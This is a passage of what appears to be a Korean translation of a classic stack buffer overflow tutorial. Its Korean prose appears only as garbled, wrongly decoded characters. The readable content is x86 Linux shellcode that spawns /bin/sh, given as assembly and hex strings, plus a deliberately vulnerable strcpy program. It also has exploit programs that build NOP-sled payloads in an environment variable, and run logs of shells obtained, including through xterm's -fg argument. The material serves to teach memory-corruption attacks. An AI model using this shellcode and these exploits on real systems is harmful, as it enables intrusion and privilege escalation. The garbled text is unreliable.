int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ ÁÁ´Ù. Á¤È®ÇÏ°Ô ÀÛµ¿µÇ´Â °¡ È®ÀÎÇϱâ À§ÇØ, ¿ì¸®´Â ±×°ÍÀ» ÄÄÆÄÀÏÇÏ°í ½ÇÇàÇØ¾ß ÇÑ´Ù. ÇÏÁö¸¸ ¹®Á¦°¡ ÀÖ´Ù. ¿ì¸®ÀÇ ÄÚµå´Â ÀÚ½ÅÀ» ¼öÁ¤ÇÏÁö¸¸, ´ëºÎºÐÀÇ ¿î¿µÃ¼°è´Â ÄÚµåºÎºÐÀ» ÀÐÀ» ¼ö¸¸ ÀÖµµ·Ï Ç¥½ÃÇÑ´Ù. ÀÌ·± Á¦ÇÑÀ» ÇÇÇϱâ À§ÇØ, ¿ì¸®´Â ¿ì¸®°¡ ½ÇÇàÇÏ°íÀÚ ÇÏ´Â Äڵ带 ½ºÅÃÀ̳ª µ¥ÀÌÅÍ Áö¿ª¿¡ À§Ä¡½ÃÅ°°í, ±×°Í¿¡ Á¦¾î¸¦ ³Ñ°ÜÁÖ¾î¾ß ÇÑ´Ù. ±×·¸°Ô Çϱâ À§Çؼ­´Â, ¿ì¸®ÀÇ Äڵ带 µ¥ÀÌÅÍ Áö¿ªÀÇ Àü¿ª¹è¿­¿¡ À§Ä¡½Ãų °ÍÀÌ´Ù. ¿ì¸®´Â ¸ÕÀú ÀÌÁøÄÚµåÀÇ 16Áø¼ö Ç¥ÇöÀÌ ÇÊ¿äÇÏ´Ù. ¸ÕÀú ÄÄÆÄÀÏÇÏ°í ±×°ÍÀ» ¾ò±â À§ÇØ, gdb¸¦ »ç¿ëÇÏÀÚ. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ * ¿ªÀÚÁÖ : À§ ÄÚµåÁß "jmp 0x2a # 2 bytes"ºÎºÐ¿¡¼­ ¿ø·¡ "# 3 bytes"·Î µÇ¾î ÀÖ¾úÀ¸³ª À߸øµÈ °Å °°¾Æ¼­ "2" ·Î ¼öÁ¤ÇÏ¿´½À´Ï´Ù. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ ÀÛµ¿ÇÑ´Ù! ÇÏÁö¸¸ Àå¾Ö¹°ÀÌ ÀÖ´Ù. ´ëºÎºÐÀÇ °æ¿ì, ¿ì¸®´Â ¹®ÀÚ¹öÆÛ¸¦ ¿À¹öÇ÷οìÇÏ·Á°í ÇÒ °ÍÀÌ´Ù. ¿ì¸®ÀÇ ½©ÄÚµå ¾È¿¡¼­ null¹ÙÀÌÆ®µéÀº ¹®ÀÚ¿­ÀÇ ³¡À¸·Î ¿©°ÜÁú °ÍÀ̹ǷÎ, º¹»ç´Â Á¾·áµÉ °ÍÀÌ´Ù. Á¦´ë·Î ÀÛµ¿Çϱâ À§Çؼ­´Â ½©Äڵ忡 null¹ÙÀÌÆ®°¡ ¾ø¾î¾ß ÇÑ´Ù. null¹ÙÀÌÆ®µéÀ» Á¦°ÅÇØ º¸ÀÚ(±×¸®°í µ¿½Ã¿¡ ´õ ÀÛ°Ô ¸¸µéÀÚ) ¹®Á¦ÀÇ ¸í·É: ´ëüµÈ ¸í·É: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- ¿ì¸®ÀÇ ¹ßÀüµÈ ÄÚµå: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ ±×¸®°í ¿ì¸®ÀÇ »õ·Î¿î ½ÃÇè ÇÁ·Î±×·¥: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ ÀÌ¿ë ÇÁ·Î±×·¥ ÀÛ¼ºÇϱâ ~~~~~~~~~~~~~~~~~~~~~~~~ (¶Ç´Â, ½ºÅà °³Á¶Çϱâ) ~~~~~~~~~~~~~~~~~~~~~~~ ¸ðµç Á¶°¢µéÀ» Á¶ÇÕÇØ º¸ÀÚ. ¿ì¸®´Â ½©Äڵ带 °¡Áö°í ÀÖ´Ù. ¿ì¸®´Â, ±×°ÍÀÌ ¿ì¸®°¡ ¹öÆÛ¸¦ ¿À¹öÇ÷οìÇÏ´Â µ¥ »ç¿ëÇÒ ¹®ÀÚ¿­ÀÇ ºÎºÐÀÌ µÇ¾î¾ß ÇÑ´Ù´Â °ÍÀ» ¾Ë°í ÀÖ´Ù. ¿ì¸®´Â, º¹±ÍÁÖ¼Ò(RET)°¡ ´Ù½Ã ¹öÆÛ¸¦ °¡¸®Å°µµ·Ï ÇØ¾ß ÇÑ´Ù´Â °ÍÀ» ¾Ë°í ÀÖ´Ù. ÀÌ ¿¹Á¦´Â ÀÌ·± Á¡µéÀ» Áõ¸íÇØ ÁÙ °ÍÀÌ´Ù: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ ¿ì¸®°¡ À§¿¡¼­ ÇÑ ÀÏÀº large_string[]¹è¿­À» buffer[]ÀÇ ÁÖ¼Ò(¿ì¸®ÀÇ Äڵ尡 ÀÖ°Ô µÉ °÷)·Î °¡µæä¿î °ÍÀÌ´Ù. ±×·±´ÙÀ½, ½©Äڵ带 large_string ¹®ÀÚ¿­ÀÇ Ã³À½¿¡ º¹»çÇÑ´Ù. strcpy() ÇÔ¼ö´Â large_stringÀ» buffer¿¡ ¾Æ¹«·± ¹®ÀÚ±æÀÌ È®Àεµ ÇÏÁö ¾ÊÀº ä, º¹»ç ÇÒ °ÍÀÌ°í, ¿ì¸®ÀÇ Äڵ尡 ÀÖ´Â ÁÖ¼Ò·Î º¹±ÍÁÖ¼Ò(RET)¸¦ µ¤¾î¾²¸é¼­ RET¸¦ ¿À¹öÇ÷οì ÇÒ °ÍÀÌ´Ù. mainÀÇ ³¡¿¡ µµ´ÞÇÑ ÈÄ¿¡, ±×°ÍÀº ¿ì¸®ÀÇ ÄÚµå·Î º¹±ÍµÇ¾î ¶Ù¾î ³Ñ¾î¿À·Á°í ÇÏ°í, ½©À» ½ÇÇà½ÃŲ´Ù. ¶Ç´Ù¸¥ ÇÁ·Î±×·¥ÀÇ ¹öÆÛ¸¦ ¿À¹öÇ÷οìÇÏ·Á°í ÇÒ ¶§ ¿ì¸®°¡ Á÷¸éÇÏ´Â ¹®Á¦´Â, ¹öÆÛ (Áï, ¿ì¸®ÀÇ ÄÚµå)°¡ ¾î´À ÁÖ¼Ò¿¡ ÀÖ°Ô µÉÁö¸¦ ¾Ë¾Æ³»·Á°í ÇÏ´Â °ÍÀÌ´Ù. ÇØ´äÀº ¸ðµç ÇÁ·Î±×·¥¿¡¼­ ½ºÅÃÀº °°Àº ÁÖ¼Ò¿¡¼­ ½ÃÀÛÇÒ °ÍÀ̶ó´Â °ÍÀÌ´Ù. ´ëºÎºÐÀÇ ÇÁ·Î±×·¥µéÀº ´Ü Çѹø¿¡ ¼ö¹é¿¡¼­ ¼öõ ¹ÙÀÌÆ® ÀÌ»óÀ» ½ºÅÿ¡ ¹Ð¾î ³ÖÁö ¾Ê´Â´Ù. ±×·¯¹Ç·Î, ½ºÅÃÀÌ ¾îµð¼­ ½ÃÀ۵Ǵ °¡¸¦ ¾ÍÀ¸·Î½á, ¿ì¸®´Â ¿ì¸®°¡ ¿À¹öÇ÷οìÇÏ·Á°í ÇÏ´Â ¹öÆÛ°¡ ¾îµð¿¡ ÀÚ¸®Àâ°í ÀÖ´ÂÁö¸¦ ÃßÃøÇÒ ¼ö ÀÖ´Ù. ´ÙÀ½Àº ÀÚ±â ÀÚ½ÅÀÇ ½ºÅà Æ÷ÀÎÅ͸¦ Ãâ·ÂÇÒ ÀÛÀº ÇÁ·Î±×·¥ÀÌ´Ù: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ ÀÌ°ÍÀÌ ¹Ù·Î ¿ì¸®°¡ ¿À¹öÇ÷οìÇÏ·Á´Â ÇÁ·Î±×·¥À̶ó°í »ý°¢ÇÏÀÚ: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ ¿ì¸®´Â ÀÎÀÚ·Î½á ¹öÆÛÅ©±â¿Í ½ºÅà Æ÷ÀÎÅÍ(¿ì¸®°¡ ¿À¹öÇ÷οìÇϱ⸦ ¿øÇÏ´Â ¹öÆÛ°¡ À§Ä¡ÇÒ Áöµµ ¸ð¸£´Â)·ÎºÎÅÍÀÇ °Å¸®¸¦ ÃëÇÏ´Â ÇÁ·Î±×·¥À» ¸¸µé ¼ö ÀÖ´Ù. ±³¹¦ÇÏ°Ô Á¶ÀÛÇϱ⠽±µµ·Ï, ¿ì¸®´Â ¿À¹öÇÃ·Î¿ì ¹®ÀÚ¿­À» ȯ°æ º¯¼ö¿¡ ¹Ð¾î ³ÖÀ» °ÍÀÌ´Ù: exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ ÀÌÁ¦ ¿ì¸®´Â ¹öÆÛ¿Í °Å¸®(offset)ÀÌ ¾ó¸¶°¡ µÇ¾î¾ß ÇÏ´ÂÁö ÃßÃøÇÒ ¼ö ÀÖ´Ù: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ ¿ì¸®µµ ¾Ë ¼ö ÀÖµíÀÌ, ÀÌ°ÍÀº È¿À²ÀûÀÎ ÇÁ·Î¼¼½º°¡ ¾Æ´Ï´Ù. ½ÉÁö¾î ½ºÅÃÀÌ ¾îµð¼­ ½ÃÀ۵Ǵ Áö¸¦ ¾Ë°í ÀÖ´Â »óȲ¿¡¼­µµ °Å¸®(offset)À» ÃßÃøÇÏ´Â °ÍÀº °ÅÀÇ ºÒ°¡´ÉÇÏ´Ù. Àß ÇØ¾ß ¸î ¹é¹ø, ÃÖ¾ÇÀÇ °æ¿ì ¼ö õ¹øÀº ½ÃµµÇØ¾ß ÇÒ °ÍÀÌ´Ù. ¹®Á¦´Â ¿ì¸®ÀÇ ÄÚµåÀÇ ÁÖ¼Ò°¡ ¾îµð¼­ ½ÃÀ۵ǴÂÁö¸¦ Á¤È®ÇÏ°Ô ÃßÃøÇØ¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù. ¸¸¾à ¿ì¸®°¡ 1¹ÙÀÌÆ®¶óµµ ´õ ¸¹ÀÌ È¤Àº ´õ Àû°Ô ÃßÃøÇÑ´Ù¸é, ¿ì¸®´Â Áö¿ªÄ§ÀÔ ¿¡·¯(segmentation violation)ȤÀº À߸øµÈ ¸í·É ¿¡·¯(invalid instruction)À» °Þ°Ô µÉ °ÍÀÌ´Ù. ¿ì¸®ÀÇ ±âȸ¸¦ ´Ã¸®´Â ÇÑ ¹æ¹ýÀº ¿ì¸®ÀÇ ¿À¹öÇÃ·Î¿ì ¹öÆÛÀÇ ¾ÕºÎºÐÀ» NOP¸í·ÉÀ¸·Î ä¿ì´Â °ÍÀÌ´Ù. ´ëºÎºÐÀÇ ÇÁ·Î¼¼¼­µéÀº ¾Æ¹«·± ÀÛ¾÷µµ ÇÏÁö ¾Ê´Â NOP¸í·ÉÀ» °¡Áö°í ÀÖ´Ù. ±×°ÍÀº º¸Åë ŸÀ̹ÖÀ» À§ÇÑ ¸ñÀûÀ¸·Î ½ÇÇàÀ» Áö¿¬½Ãų ¶§ »ç¿ëµÈ´Ù. ¿ì¸®´Â ±×°ÍÀ» »ç¿ëÇÒ °ÍÀÌ°í ¿ì¸®ÀÇ ¿À¹öÇÃ·Î¿ì ¹öÆÛÀÇ Àý¹ÝÀ» ±×°Íµé·Î ä¿ï°ÍÀÌ´Ù. ¿ì¸®´Â ½©Äڵ带 ÇÑ °¡¿îµ¥¿¡ À§Ä¡½Ãų °ÍÀÌ°í, ±× µÚ¿¡ º¹±ÍÁÖ¼Ò°ªµéÀÌ µû¸¦ °ÍÀÌ´Ù. ¸¸¾à ¿ì¸®°¡ ¿îÀÌ ÁÁ¾Æ¼­ º¹±ÍÁÖ¼Ò°¡ NOPµé·Î ÀÌ·ç¾îÁø ¹®ÀÚ¿­ÀÇ ¾î´À °÷ÀÌ¶óµµ °¡¸®Å²´Ù¸é, ¿ì¸®ÀÇ Äڵ忡 µµ´ÞÇϱâ±îÁö ´ÜÁö ½ÇÇàµÉ °ÍÀÌ´Ù. Intel ¾ÆÅ°ÅØó¿¡¼­´Â NOP¸í·ÉÀÌ 1¹ÙÀÌÆ®¸¦ Â÷ÁöÇÏ°í ±â°è¾î·Î 0x90À¸·Î ¹ø¿ªµÈ´Ù. ½ºÅÃÀÌ 0xFF ÁÖ¼Ò¿¡¼­ ½ÃÀÛÇÏ°í, S´Â ½©ÄÚµå, NÀº NOP¸í·ÉÀ» ³ªÅ¸³½´Ù°í »ý°¢Çϸç, »õ·Î¿î ½ºÅÃÀÌ ¾î¶² ¸ð¾çÀ» °®ÃâÁö »ìÆ캸ÀÚ: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack »õ·Î¿î ÀÌ¿ëÇÁ·Î±×·¥(exploit)Àº ´ÙÀ½°ú °°´Ù: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ ¿ì¸®°¡ ¿À¹öÇ÷οìÇÏ·Á°í ÇÏ´Â ¹öÆÛÀÇ Å©±âº¸´Ù 100¹ÙÀÌÆ® Á¤µµ ´õ Å©°Ô ¼±ÅÃÀ» ÇÑ´Ù°í Çصµ ±×°ÍÀº ÀÛµ¿ÇÒ °ÍÀÌ´Ù. ÀÌ°ÍÀº NOP¸í·ÉÀ» À§ÇÑ ¸¹Àº °ø°£À» ³²±â¸é¼­ ¿ì¸®ÀÇ Äڵ带 ¿ì¸®°¡ ¿À¹öÇ÷οìÇÏ·Á´Â ¹öÆÛÀÇ ³¡¿¡ À§Ä¡½Ãų °ÍÀÌ´Ù. ÇÏÁö¸¸ ¿©ÀüÈ÷ ¿ì¸®°¡ ÃßÃøÇÑ ÁÖ¼Ò·Î º¹±ÍÁÖ¼Ò¸¦ µ¤¾î¾´´Ù. ¿ì¸®°¡ ¿À¹öÇ÷οìÇÏ·Á´Â ¹öÆÛ´Â 512¹ÙÀÌÆ® À̹ǷΠ¿ì¸®´Â 612¸¦ ¾µ °ÍÀÌ´Ù. »õ·Î¿î ÀÌ¿ë ÇÁ·Î±×·¥À¸·Î ¿ì¸®ÀÇ ½ÃÇè ÇÁ·Î±×·¥À» ¿À¹öÇ÷οì Çغ¸ÀÚ: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ ¿Í! ù¹ø° ½Ãµµ°¡ ¼º°øÇß´Ù! ÀÌ º¯È­°¡ ¿ì¸®ÀÇ ±âȸ¸¦ 100¹è Áõ°¡½ÃÄ×´Ù. ¹öÆÛ ¿À¹öÇ÷οìÀÇ ½ÇÁ¦ °æ¿ì¿¡ ÇÑ ¹ø ½ÃµµÇØ º¸ÀÚ. Xt ¶óÀ̺귯¸® »óÀÇ ¹öÆÛ ¿À¹öÇ÷ο츦 ¿ì¸®ÀÇ Áõ¸íÀ» À§ÇØ »ç¿ëÇÒ °ÍÀÌ´Ù. ¿¹¸¦ µé¾î, ¿ì¸®´Â xtermÀ» ¾µ °ÍÀÌ´Ù(Xt ¶óÀ̺귯¸®¿Í ¿¬°áµÈ ¸ðµç ÇÁ·Î±×·¥µéÀÌ Ãë¾àÁ¡À» °¡Áö°í ÀÖ´Ù). ¿©·¯ºÐÀº X ¼­¹ö¸¦ ½ÇÇàÇÏ°í ÀÖ¾î¾ß Çϸç, ·ÎÄà ȣ½ºÆ®·ÎºÎÅÍ ¼­¹öÀÇ Á¢¼ÓÀ» Çã¶ôÇØ¾ß ÇÑ´Ù. DISPLAY º¯¼ö¸¦ ÀûÀýÇÏ°Ô ¼³Á¤Ç϶ó. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "?1¤FF ? ? ?¤Ø@¤è?ÿÿ/bin/sh?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤? ÿ¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤ ?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?¿¤?ÿ¿¤?¿¤?¿¤?¿¤? ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "?1¤FF ? ? ?¤Ø@¤è?ÿÿ/bin/sh?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H? ÿ¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H ?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?? H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H? ¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H?¿H? Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "?1¤FF ? ? ?¤Ø@¤è?ÿÿ/bin/sh?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T? ÿ¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T ?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?? 